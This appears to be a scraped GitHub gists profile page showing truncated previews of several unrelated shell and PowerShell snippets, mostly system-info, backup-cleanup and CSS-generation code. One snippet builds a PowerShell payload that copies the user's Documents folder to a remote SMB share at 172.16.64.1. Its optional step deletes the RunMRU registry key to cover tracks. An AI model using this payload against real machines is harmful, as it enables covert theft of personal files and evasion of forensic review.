Skip to content

Instantly share code, notes, and snippets.

View TheRealNoob's full-sized avatar

TheRealNoob TheRealNoob

  • 22:48 (UTC -07:00)
View GitHub Profile
$array = @()
## Powershell Version: x.x
$array += @("PowerShell Version",(Get-Host | Select-Object -ExpandProperty Version).tostring())
## System Uptime: xx:xx:xX
$UpTime = [Management.ManagementDateTimeConverter]::ToDateTime((Get-WmiObject Win32_OperatingSystem).LastBootUpTime)
$UpTime = (Get-Date) - $Uptime
$UpTime = "{0:D2}" -f [int]$UpTime.Days + ':' + "{0:D2}" -f [int]$UpTime.Hours + ':' + "{0:D2}" -f [int]$UpTime.Minutes + ':' + "{0:D2}" -f [int]$UpTime.Seconds
$array += @("System Uptime",$UpTime)
$list = 1,2,3,4
$list | foreach {
write-host $_
}
$backuppath = 'C:\Fraps'
$date = Get-Date
Foreach ($month in 1..12) {
$monthslist = Get-ChildItem $backuppath | where ($_.LastWriteTime.Month -eq $month) | sort #latest file date
#delete all but latest file
}
$backuppath = 'C:\Fraps'
Get-ChildItem $backuppath | where {($_.creationtime -ge ((get-date).AddMonths(-1))) -and ($_.creationtime -le (get-date))} | Sort-Object | Select-Object FullName -skip 5 | Remove-Item -WhatIf
$month = (get-date).AddMonths(-2)
$limit = 100 #number of months to count down
$i=0
Do {
# Define powershell payload
PAYLOAD="\"While(!!(New-Object net.sockets.tcpclient (172.16.64.1,445))){};net use \\\172.16.64.1\e PWD /USER:USER;robocopy \$HOME\Documents \\\172.16.64.1\e $FILES /S"\"
# If cleartracks add the code to the powershell payload
if [ $CLEARTRACKS == "yes" ]; then
PAYLOAD=${PAYLOAD%\"}
PAYLOAD="\"${PAYLOAD};rp HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU -N '*'"\"
fi
$system = [PSCustomObject]@{
Hardware = [PSCustomObject]@{
Model = [PSCustomObject]@{}
RAM = [PSCustomObject]@{}
CPU = [PSCustomObject]@{}
}
Disks = [pscustomobject]@{
Local = [PSCustomObject]@{}
Removable = [PSCustomObject]@{}
Network = [PSCustomObject]@{}
$URL = [string]'URL1','URL2','URL3'
$Username = 'Username1','Username2','Username3'
$Password = 'Password1','Password2','Password3'
$Default = [PSCustomObject]@{}
$Default | Add-Member -MemberType NoteProperty -Name 'URL' -Value $URL
$Default | Add-Member -MemberType NoteProperty -Name 'Username' -Value $Username
$Default | Add-Member -MemberType NoteProperty -Name 'Password' -Value $Password
## Create random filename and test if it exists
## If it does create a new one
$Repeat = 'N'
Do {
$var1 = "$env:TEMP\$([System.IO.Path]::GetRandomFileName())"
If (!(Test-Path -Path $var1)) {
$Repeat = 'Y'
}
} Until ($Repeat -eq 'N')
This file has been truncated, but you can view the full file.
Add-Type -AssemblyName System.Security
# [System.Reflection.Assembly]::LoadFile("C:\Users\Mike\AppData\Local\Temp\System.Data.SQLite.dll")
Do {
try {
New-Object System.Data.Sqlite.SqliteConnection -ErrorAction Stop | Out-Null
}
catch [System.Management.Automation.PSArgumentException] {
write-host "system.data not loaded"
for i in `seq 1 10`;
do
echo "
.item$i{
background-image:url(\"img/item${i}_1.jpg\");
background-repeat: no-repeat;
background-position: 0px 0px;
}
.item$i:hover{